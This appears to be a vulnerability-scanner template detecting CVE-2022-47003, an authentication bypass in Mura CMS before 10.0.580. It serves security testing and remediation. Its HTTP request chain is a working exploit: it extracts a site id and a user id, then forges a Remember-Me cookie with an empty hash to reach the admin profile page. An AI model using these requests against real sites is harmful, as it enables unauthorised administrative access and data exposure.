Mura CMS <10.0.580 - Authentication Bypass

id: CVE-2022-47003

info:
  name: Mura CMS <10.0.580 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Mura CMS before 10.0.580 is susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the Mura CMS application.
  remediation: |
    Upgrade Mura CMS to version 10.0.580 or later to mitigate this vulnerability.
  reference:
    - https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
    - http://mura.com
    - https://www.murasoftware.com/mura-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47003
    - https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47003
    cwe-id: CWE-863
    epss-score: 0.03644
    epss-percentile: 0.89675
    cpe: cpe:2.3:a:murasoftware:mura_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: murasoftware
    product: mura_cms
    shodan-query:
      - 'Generator: Mura CMS'
      - "generator: mura cms"
  tags: cve,cve2022,auth-bypass,cms,mura,murasoftware,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: userid={{uuid}}; userhash=

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"\"userid\"")'
        condition: and

      - type: word
        part: body_3
        words:
          - "Edit Profile"

    extractors:
      - type: regex
        name: siteid
        group: 1
        regex:
          - 'siteid:"(.*?)"'
        internal: true
        part: body

      - type: regex
        name: uuid
        group: 1
        regex:
          - '"lastupdatebyid":"([A-F0-9-]+)"'
        internal: true
        part: body